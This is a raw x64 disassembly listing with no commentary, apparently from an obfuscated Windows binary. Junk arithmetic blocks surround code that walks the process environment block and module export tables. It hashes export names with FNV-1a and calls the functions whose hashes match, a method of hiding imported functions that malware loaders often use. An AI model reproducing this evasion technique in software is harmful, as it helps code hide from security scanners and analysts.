je 0x1400607f8
push rax
pushf
mov eax, 0xd95a373
pushf
not eax
add eax, 0x742697ce
xor eax, 0x7d0b08d9
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x4d1fba14
xor eax, 0x7ea0546a
rol eax, 0xed
popf
pushf
not eax
add eax, 0x66eba52a
xor eax, 0x230276e4
rol eax, 0x24
popf
pushf
not eax
add eax, 0x141da22a
xor eax, 0x693ac78d
rol eax, 0x99
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xb51e07ce
pushf
not eax
add eax, 0x7bd9b797
xor eax, 0x74e8c610
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x6140abf
xor eax, 0x409a4c65
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x7c9afed6
xor eax, 0x73c48ac3
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x6e5c5652
xor eax, 0x787efdc9
rol eax, 0xbe
popf
jmp 0x14005f1dc
mov r14d, dword [rsi + 0x20]
nop word [rax + rax]
push rax
pushf
mov eax, 0xe3c36b5
pushf
not eax
add eax, 0x45cd7e0d
xor eax, 0xde55aa2
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x47e24219
xor eax, 0x279242fd
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x6eab3e5f
xor eax, 0x2e26196d
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x6f54cd91
xor eax, 0xc19892f
rol eax, 0xbc
popf
jmp 0x14005f1dc
dec r10d
mov r9d, 0x59debebf
pushf
not r9d
add r9d, 0x2aa4a373
xor r9d, 0x5a9a1b85
rol r9d, 0xe0
popf
pushf
not r9d
add r9d, 0x38fd9f08
xor r9d, 0x25cfd79d
rol r9d, 0x42
popf
pushf
not r9d
add r9d, 0x55544ccf
xor r9d, 0x2edcc9a4
rol r9d, 0x99
popf
lea rax, [r14 + r10*4]
mov eax, dword [rax + r11]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
movzx r8d, byte [rax]
inc rax
test r8b, r8b
je 0x140060988
push rax
pushf
mov eax, 0xe7c51ddb
pushf
not eax
add eax, 0x1fdd5fc6
xor eax, 0x72266b41
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x2038050b
xor eax, 0x226656b
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x303eae39
xor eax, 0x941ccd2
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x85ef3e6
xor eax, 0x38d9d38d
rol eax, 0x77
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xd4d0bb66
pushf
not eax
add eax, 0x101ccdcb
xor eax, 0x3eff2afa
rol eax, 0x94
popf
pushf
not eax
add eax, 0x3e3547a0
xor eax, 0x1b27af3d
rol eax, 0x73
popf
pushf
not eax
add eax, 0x550fe075
xor eax, 0x3aa164da
rol eax, 0x70
popf
jmp 0x14005f1dc
movsx ecx, r8b
lea rax, [rax + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [rax - 1]
cmova edx, ecx
push rdx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and edx, r9d
pop r9
or edx, dword [rsp]
add rsp, 8
imul r9d, edx, 0x1000193
test r8b, r8b
jne 0x140060a43
push rax
pushf
mov eax, 0x75946cee
pushf
not eax
add eax, 0x6019cc80
xor eax, 0x6118d062
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x6ce84749
xor eax, 0x6d01300f
rol eax, 0xc4
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x3f2a17f1
pushf
not eax
add eax, 0x61c253c7
xor eax, 0x24f817a8
rol eax, 0xed
popf
pushf
not eax
add eax, 0x6e3e7cad
xor eax, 0x49aedbe0
rol eax, 0x48
popf
jmp 0x14005f1dc
cmp r9d, 0x3fa5a27d
je 0x140060ac9
push rax
pushf
mov eax, 0x2a661f5e
pushf
not eax
add eax, 0x1c9a4fd3
xor eax, 0x731169df
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x4ece008d
xor eax, 0x3d205671
rol eax, 0xff
popf
pushf
not eax
add eax, 0x3c7df0a5
xor eax, 0x5a74279f
rol eax, 0x37
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x331845bc
pushf
not eax
add eax, 0x100e262a
xor eax, 0x6c06504b
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x2280856
xor eax, 0x2962cdd
rol eax, 0xae
popf
pushf
not eax
add eax, 0x296c7f6a
xor eax, 0x4ce7161f
rol eax, 0x81
popf
pushf
not eax
add eax, 0x62b4d5a0
xor eax, 0x5dc9264d
rol eax, 0xf8
popf
jmp 0x14005f1dc
test r10d, r10d
jne 0x140060b6c
push rax
pushf
mov eax, 0xfbfe7e4
pushf
not eax
add eax, 0x65d24fc5
xor eax, 0x1efafb3
rol eax, 1
popf
pushf
not eax
add eax, 0xc67e115
xor eax, 0x580ff87e
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x740df8b
xor eax, 0x26b46a89
rol eax, 0x25
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xe28a42ee
pushf
not eax
add eax, 0x10228b38
xor eax, 0x869ba2e
rol eax, 0x70
popf
pushf
not eax
add eax, 0x5863f798
xor eax, 0x71bb2fd0
rol eax, 0xab
popf
pushf
not eax
add eax, 0x44ccfb46
xor eax, 0x4d94ba3
rol eax, 0x3d
popf
jmp 0x14005f1dc
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rbp
je 0x140060bf0
push rax
pushf
mov eax, 0xc50b5efa
pushf
not eax
add eax, 0x55aecef8
xor eax, 0x27bb07f7
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x7d42944e
xor eax, 0x7bcb7be5
rol eax, 0xaa
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xd50d9420
pushf
not eax
add eax, 0x67640ff7
xor eax, 0x50edd33d
rol eax, 0x15
popf
pushf
not eax
add eax, 0x5b4f1eb9
xor eax, 0x3df0c743
rol eax, 0xd0
popf
jmp 0x14005f1dc
cmp qword [rax + 0x30], 0
jne 0x140060c74
push rax
pushf
mov eax, 0xbc5b648
pushf
not eax
add eax, 0x6b00d8ea
xor eax, 0x7f76a507
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x7e9ec904
xor eax, 0x21746916
rol eax, 0x53
popf
pushf
not eax
add eax, 0x61fe3748
xor eax, 0x4bdb49d0
rol eax, 0x5b
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x52051de6
pushf
not eax
add eax, 0x1b07273b
xor eax, 0x2dac02d1
rol eax, 0x20
popf
pushf
not eax
add eax, 0x69e2e4f
xor eax, 0x61b86269
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x49b3a548
xor eax, 0x5a48f2a9
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x4a90fe4
xor eax, 0x800a845
rol eax, 0x8c
popf
jmp 0x14005f1dc
xor eax, eax
mov qword [0x140044028], rax
push rax
pushf
mov eax, 0xc90e175d
pushf
not eax
add eax, 0x29e9f678
xor eax, 0x15c1d72c
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x140780b5
xor eax, 0x7a1e40ec
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x72705b10
xor eax, 0x6fab28ec
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x11e4ab76
xor eax, 0x6ef2e900
rol eax, 0xef
popf
jmp 0x14005f1dc
lea rdx, [rsp + 0x20]
mov rcx, r15
jmp 0x140060d38
call rax
cmp eax, 1
jne 0x140060d89
push rax
pushf
mov eax, 0x26275679
pushf
not eax
add eax, 0x66902ec9
xor eax, 0x2af7e4b
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xeea3eb5
xor eax, 0x6ad483aa
rol eax, 0x18
popf
pushf
not eax
add eax, 0x6f7d3b08
xor eax, 0x4c74dd8e
rol eax, 0xd2
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x7683155e
pushf
not eax
add eax, 0x3212799f
xor eax, 0x3eb7fe0d
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x4c13d7a0
xor eax, 0x782047b8
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x79f897aa
xor eax, 0x2e60bcb7
rol eax, 0x9f
popf
jmp 0x14005f1dc
lea rax, [rsp + 0x4c]
mov r8, r12
push rax
not rax
add r8, rax
pop rax
add r8, 1
nop dword [rax + rax]
push rax
pushf
mov eax, 0x84bfd842
pushf
not eax
add eax, 0x3ae70e3f
xor eax, 0x3dfe6172
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x540dc026
xor eax, 0x476378e5
rol eax, 0x43
popf
jmp 0x14005f1dc
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
push rcx
not ecx
add edx, ecx
pop rcx
add edx, 1
jne 0x140060e74
push rax
pushf
mov eax, 0xc3c3398a
pushf
not eax
add eax, 0x2421d65
xor eax, 0x5e60c1c1
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x6bc69283
xor eax, 0x3ba70a31
rol eax, 0xef
popf
pushf
not eax
add eax, 0x6e269cf6
xor eax, 0x26e0e96c
rol eax, 0xf
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xf5b2588b
pushf
not eax
add eax, 0x628689f5
xor eax, 0x6ca87c7a
rol eax, 0x36
popf
pushf
not eax
add eax, 0x5a131f7e
xor eax, 0x712691f0
rol eax, 0x25
popf
pushf
not eax
add eax, 0x680e21ca
xor eax, 0x695bee7f
rol eax, 0x44
popf
jmp 0x14005f1dc
inc rax
test ecx, ecx
jne 0x140060f07
push rax
pushf
mov eax, 0x96552ef0
pushf
not eax
add eax, 0xc235ec9
xor eax, 0x74a23741
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x8b5a21b
xor eax, 0x5882b0bb
rol eax, 0x96
popf
pushf
not eax
add eax, 0x2383ccce
xor eax, 0x75309f2c
rol eax, 0x53
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x1b706e48
pushf
not eax
add eax, 0x59d6bda4
xor eax, 0x1ddf1e6c
rol eax, 0xa
popf
pushf
not eax
add eax, 0xe9ceb4d
xor eax, 0x66809ac2
rol eax, 0xc
popf
pushf
not eax
add eax, 0x4563bde1
xor eax, 0x4ff79032
rol eax, 0xec
popf
pushf
not eax
add eax, 0x1f86af43
xor eax, 0x5dd99004
rol eax, 0x8b
popf
jmp 0x14005f1dc
test edx, edx
jne 0x140060f9b
push rax
pushf
mov eax, 0x25470ca
pushf
not eax
add eax, 0x161190af
xor eax, 0x2839295e
rol eax, 0x39
popf
pushf
not eax
add eax, 0xd480c0
xor eax, 0x3c5d7852
rol eax, 0x46
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xa9b00517
pushf
not eax
add eax, 0x5fe3d50
xor eax, 0x1d9a8926
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x181373f
xor eax, 0x5ebabe64
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x6ceff335
xor eax, 0x2e25ac6
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x636e8c4
xor eax, 0x7b6fcd8c
rol eax, 0x81
popf
jmp 0x14005f1dc
mov al, 0x3b
pushf
not al
add al, 0x20
xor al, 0x18
rol al, 0xd6
popf
pushf
not al
add al, 0x2c
xor al, 0x7c
rol al, 0x97
popf
pushf
not al
add al, 0x2c
xor al, 0x3a
rol al, 0xeb
popf
pushf
not al
add al, 0x7c
xor al, 0x2d
rol al, 0x19
popf
jmp 0x1400619ef
mov ecx, dword [rdi + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x14005fcf6
mov ecx, dword [rdi + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov r8d, dword [rcx + rdx*4]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
jmp 0x140060491
mov ecx, dword [rsi + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx edx, word [rcx + r10*2]
mov ecx, dword [rsi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x140060ccf
mov rax, qword [0x140044110]
test rax, rax
jne 0x140061242
push rax
pushf
mov eax, 0x49527258
pushf
not eax
add eax, 0x1f3cec4d
xor eax, 0x488c36fc
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x15193f2d
xor eax, 0x484f5e1f
rol eax, 0xa3
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xcc2bc506
pushf
not eax
add eax, 0x5f2d5378
xor eax, 0x423ff4f2
rol eax, 0x98
popf
pushf
not eax
add eax, 0x4466826f
xor eax, 0x30ad769e
rol eax, 0xec
popf
pushf
not eax
add eax, 0x28110eff
xor eax, 0x60a709b8
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x129747b
xor eax, 0x167759da
rol eax, 0xda
popf
jmp 0x14005f1dc
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rsi, rbp
nop
push rax
pushf
mov eax, 0x3ac19881
pushf
not eax
add eax, 0x68ace32a
xor eax, 0x59f0671e
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x16df9dbc
xor eax, 0x61408d07
rol eax, 0x11
popf
pushf
not eax
add eax, 0x57d076f1
xor eax, 0xbd5a6
rol eax, 0xce
popf
pushf
not eax
add eax, 0x6e62cdfc
xor eax, 0x5db256f0
rol eax, 0xe9
popf
jmp 0x14005f1dc
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
push r11
not r11
sub rdi, r11
pop r11
sub rdi, 1
cmp rdi, r11
je 0x140061363
push rax
pushf
mov eax, 0xf228509e
pushf
not eax
add eax, 0x54b8c1be
xor eax, 0xea28eed
rol eax, 0x37
popf
pushf
not eax
add eax, 0x2ea52c7e
xor eax, 0x365f12fe
rol eax, 0x6c
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x87902be
pushf
not eax
add eax, 0x9f79b86
xor eax, 0x4eef23b2
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x5afb367a
xor eax, 0x579fd47d
rol eax, 0x65
popf
pushf
not eax
add eax, 0x145b4318
xor eax, 0x717ac346
rol eax, 0x62
popf
pushf
not eax
add eax, 0x3e12c1ff
xor eax, 0x56a42053
rol eax, 0xa4
popf
jmp 0x14005f1dc
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x1400613f8
push rax
pushf
mov eax, 0xd7666744
pushf
not eax
add eax, 0x3ba095
xor eax, 0x236727a
rol eax, 0x95
popf
pushf
not eax
add eax, 0x754b25fc
xor eax, 0x1345c992
rol eax, 0x6c
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x13c9dccf
pushf
not eax
add eax, 0x58d54867
xor eax, 0x5d01071
rol eax, 0x53
popf
pushf
not eax
add eax, 0x2a4b307f
xor eax, 0x6a55d7bd
rol eax, 0x20
popf
pushf
not eax
add eax, 0xa07cf42
xor eax, 0x29a30fa7
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x2234d84a
xor eax, 0x2ff277bd
rol eax, 0x89
popf
jmp 0x14005f1dc
mov r14d, dword [rdi + 0x20]
nop word [rax + rax]
push rax
pushf
mov eax, 0x264c489d
pushf
not eax
add eax, 0x52d511c2
xor eax, 0x54832b28
rol eax, 2
popf
pushf
not eax
add eax, 0xc4d9c5a
xor eax, 0x102d1aa1
rol eax, 0x35
popf
pushf
not eax
add eax, 0x2054a29b
xor eax, 0x4f2d1d91
rol eax, 0x3d
popf
jmp 0x14005f1dc
dec r10d
mov r9d, 0x22a773da
pushf
not r9d
add r9d, 0x67add3ea
xor r9d, 0x6b28323b
rol r9d, 0x2c
popf
pushf
not r9d
add r9d, 0x2a9483f2
xor r9d, 0x7168c871
rol r9d, 0xdf
popf
lea rax, [r14 + r10*4]
mov r8d, dword [rax + r11]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x14006155b
push rax
pushf
mov eax, 0x8b56ae0d
pushf
not eax
add eax, 0x52421144
xor eax, 0x15295a62
rol eax, 8
popf
pushf
not eax
add eax, 0x120c5a86
xor eax, 0x5db5ab2
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x63f538cd
xor eax, 0x686379ca
rol eax, 0x42
popf
pushf
not eax
add eax, 0xc7cc154
xor eax, 0x5e5ae524
rol eax, 0x37
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xc9d8c7f4
pushf
not eax
add eax, 0x549d2225
xor eax, 0x388f03b5
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x31b838ad
xor eax, 0x534305c6
rol eax, 0xff
popf
pushf
not eax
add eax, 0x30d4b80
xor eax, 0x6ed381e7
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x58a8367
xor eax, 0x61f508fe
rol eax, 0x9b
popf
jmp 0x14005f1dc
nop
push rax
pushf
mov eax, 0xd6b9dfb4
pushf
not eax
add eax, 0x20021822
xor eax, 0x66e6d2ad
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x21e3868b
xor eax, 0x19b7ed01
rol eax, 0x82
popf
pushf
not eax
add eax, 0x198ed8e5
xor eax, 0x65f13e6f
rol eax, 0x6a
popf
jmp 0x14005f1dc
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x14006167f
push rax
pushf
mov eax, 0xbb70b382
pushf
not eax
add eax, 0x1c65a3cc
xor eax, 0x76005a1e
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x485e8966
xor eax, 0x61bfa083
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x77584475
xor eax, 0x11db9089
rol eax, 0x78
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x8d6b7563
pushf
not eax
add eax, 0x224549cc
xor eax, 0x7549381e
rol eax, 0x72
popf
pushf
not eax
add eax, 0x21667a45
xor eax, 0x3944658c
rol eax, 7
popf
pushf
not eax
add eax, 0x12ab1f86
xor eax, 0x258be6b8
rol eax, 0xde
popf
pushf
not eax
add eax, 0x282bcfb7
xor eax, 0x44716013
rol eax, 0x22
popf
jmp 0x14005f1dc
cmp r9d, 0xd1cbaab3
je 0x14006173a
push rax
pushf
mov eax, 0x97d1865f
pushf
not eax
add eax, 0x72361f12
xor eax, 0xe579d8
rol eax, 0x99
popf
pushf
not eax
add eax, 0x66f0b153
xor eax, 0x4367b244
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xe5096e3
xor eax, 0x7e103517
rol eax, 8
popf
pushf
not eax
add eax, 0x1eb81cbb
xor eax, 0xb70764b
rol eax, 0x34
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x2b136f43
pushf
not eax
add eax, 0x65662388
xor eax, 0x6b10f7dd
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x75a5410d
xor eax, 0x27cf8c4
rol eax, 0xb3
popf
jmp 0x14005f1dc
test r10d, r10d
jne 0x1400617cb
push rax
pushf
mov eax, 0x1dd7db17
pushf
not eax
add eax, 0x515d9347
xor eax, 0x260733ec
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x1e592008
xor eax, 0x5dc3d015
rol eax, 0x90
popf
pushf
not eax
add eax, 0x6a6ad391
xor eax, 0x6c8bb67d
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x22562a67
xor eax, 0xf531083
rol eax, 0x4e
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x7af7a7f1
pushf
not eax
add eax, 0x26cabce3
xor eax, 0x251c695d
rol eax, 7
popf
pushf
not eax
add eax, 0x2e25387c
xor eax, 0x6e666235
rol eax, 0x45
popf
jmp 0x14005f1dc
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x14006184f
push rax
pushf
mov eax, 0xcbf19d9b
pushf
not eax
add eax, 0x3ecd227a
xor eax, 0x240213fa
rol eax, 0x2d
popf
pushf
not eax
add eax, 0x3a15618c
xor eax, 0x57cc11c5
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x9c48622
xor eax, 0x5fa4d633
rol eax, 0xd8
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xb23e017e
pushf
not eax
add eax, 0x6c100cd0
xor eax, 0x32f048f2
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x5790a97d
xor eax, 0x2fed1e5a
rol eax, 8
popf
jmp 0x14005f1dc
cmp qword [rax + 0x30], 0
jne 0x1400618e6
push rax
pushf
mov eax, 0xe62dd1eb
pushf
not eax
add eax, 0x2d13efb7
xor eax, 0x1646bf48
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x46cd42b5
xor eax, 0x43f4a110
rol eax, 2
popf
pushf
not eax
add eax, 0x1acf1c0b
xor eax, 0x5ee2e167
rol eax, 5
popf
pushf
not eax
add eax, 0xae36902
xor eax, 0x6458d0ad
rol eax, 0x7a
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x19b591c1
pushf
not eax
add eax, 0x5c302e3
xor eax, 0x23261d50
rol eax, 0x72
popf
pushf
not eax
add eax, 0x15487495
xor eax, 0x133bc56c
rol eax, 0x69
popf
pushf
not eax
add eax, 0x7d452c2d
xor eax, 0x76014db
rol eax, 0xfd
popf
jmp 0x14005f1dc
xor eax, eax
push rax
pushf
mov eax, 0xbc130dc6
pushf
not eax
add eax, 0x68f5ba27
xor eax, 0x248c8f76
rol eax, 0xda
popf
pushf
not eax
add eax, 0x32f2bf80
xor eax, 0x74608609
rol eax, 0x55
popf
pushf
not eax
add eax, 0x42047c7f
xor eax, 0x461d41f5
rol eax, 0x75
popf
pushf
not eax
add eax, 0x4b8ab0af
xor eax, 0x541eee3a
rol eax, 0x36
popf
jmp 0x14005f1dc
mov qword [0x140044110], rax
push rax
pushf
mov eax, 0x7ff309ef
pushf
not eax
add eax, 0x32f6567a
xor eax, 0xa13d3d5
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x3650bd92
xor eax, 0x21fa6759
rol eax, 0x67
popf
pushf
not eax
add eax, 0xbea857d
xor eax, 0x707586fe
rol eax, 0x51
popf
pushf
not eax
add eax, 0x35386dc7
xor eax, 0x2f2ec9d9
rol eax, 0x10
popf
jmp 0x14005f1dc
mov rcx, r15
jmp 0x1400619eb
call rax
xor al, al
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140112590
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov ecx, dword [rdi + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x140061987